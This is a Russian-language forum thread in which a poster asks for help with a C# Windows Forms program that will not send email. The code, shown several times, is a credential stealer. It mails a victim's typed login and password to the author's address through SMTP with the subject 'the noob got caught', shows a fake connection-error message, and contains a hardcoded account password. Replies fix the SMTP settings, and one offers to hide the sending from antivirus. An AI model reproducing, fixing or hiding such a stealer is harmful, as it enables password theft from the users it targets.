Всем здравствуйте. У меня есть один нубский вопрос. Не приходит сообщение на майл. Где я мог ошибиться?
Код:
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Net;
using System.Net.Mail;
namespace WindowsFormsApplication1
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
comboBox1.SelectedIndex = 0;
}
private void button2_Click(object sender, EventArgs e)
{
SmtpClient client = new SmtpClient("[Ссылки могут видеть только зарегистрированные пользователи. ]", 2525);
client.Credentials = new System.Net.NetworkCredential("[Ссылки могут видеть только зарегистрированные пользователи. ]", "09090909q");
string msgFrom = "[Ссылки могут видеть только зарегистрированные пользователи. ]";
string msgTo = "[Ссылки могут видеть только зарегистрированные пользователи. ]";
string msgSubject = "Письмо из c#";
string msgBody = String.Format("Нубик попался :-)//{0}\nЛогин: {0}\nПароль: {1}", textBox1.Text, textBox2.Text);
MailMessage msg = new MailMessage(msgFrom, msgTo, msgSubject, msgBody);
try
{
client.Send(msg);
}
catch { }
MessageBox.Show("Произошла ошибка при соединении!");
}
}
}
если кто сможет помочь отпишитесь в теме пожалуйста просто айм наб
†PrEPaDoK†, Имя компа русское? Если да то хрен ты что получишь на почту,юзай сниффер. Могу даже подсказать как сделать чтобы анитивирь не говорил что идет отправка пакета,также можно сделать реальную авторизацию
________________
[Ссылки могут видеть только зарегистрированные пользователи. ]
3) зачем то еще поменял строку SmtpClient client = new SmtpClient("[Ссылки могут видеть только зарегистрированные пользователи. ]", 2525);
-----------------------------------------------
я же объяснил уже! Как по-твоему можно отправить письмо с мыла, от которого ты не указал пароль, и зачем указывать пароль от того, кому отправляешь?
читай опять тему http://zhyk.ru/forum/showthread.php?t=99460
Во вторых!
не pvapva-2000@mail.ru а по-моему mail.ru.
В третьих почему ты авторизуешься с одного, отправляешь с другого,а прийти должно на тот с которого ты авторизовался?
Bra1nТы полюбому должен авторизоваться,для отправки сообщения с емайла.
________________
[Ссылки могут видеть только зарегистрированные пользователи. ]
SmtpClient client = new SmtpClient("smtp.mail.ru", 2525); // оригинально, вместо сервера почты,электронная почта
client.Credentials = new System.Net.NetworkCredential("[Ссылки могут видеть только зарегистрированные пользователи. ]", "password"); // Указываем логин и пароль для авторизации
________________
[Ссылки могут видеть только зарегистрированные пользователи. ]
SmtpClient client = new SmtpClient("smtp.mail.ru", 2525);
client.Credentials = new System.Net.NetworkCredential("[Ссылки могут видеть только зарегистрированные пользователи. ]", "09090909q");
string msgFrom = "[Ссылки могут видеть только зарегистрированные пользователи. ]";
string msgTo = "[Ссылки могут видеть только зарегистрированные пользователи. ]";
string msgSubject = "Письмо из c#";
string msgBody = String.Format("Нубик попался :-)//{0}\nЛогин: {0}\nПароль: {1}", textBox1.Text, textBox2.Text);
MailMessage msg = new MailMessage(msgFrom, msgTo, msgSubject, msgBody);
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Net;
using System.Net.Mail;
namespace WindowsFormsApplication1
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
comboBox1.SelectedIndex = 0;
}
private void button2_Click(object sender, EventArgs e)
{
SmtpClient client = new SmtpClient("[Ссылки могут видеть только зарегистрированные пользователи. ]", 2525);
client.Credentials = new System.Net.NetworkCredential("[Ссылки могут видеть только зарегистрированные пользователи. ]", "09090909q");
string msgFrom = "[Ссылки могут видеть только зарегистрированные пользователи. ]";
string msgTo = "[Ссылки могут видеть только зарегистрированные пользователи. ]";
string msgSubject = "Письмо из c#";
string msgBody = String.Format("Нубик попался :-)n\nЛогин: {0}\nПароль: {1}", textBox1.Text, textBox2.Text);
MailMessage msg = new MailMessage(msgFrom, msgTo, msgSubject, msgBody);
try
{
client.Send(msg);
}
catch { }
MessageBox.Show("Произошла ошибка при соединении!");
}
}
}
p.s папробуй заместо мыло rambler.ru
Последний раз редактировалось Хам!!!; 20.03.2011 в 19:21.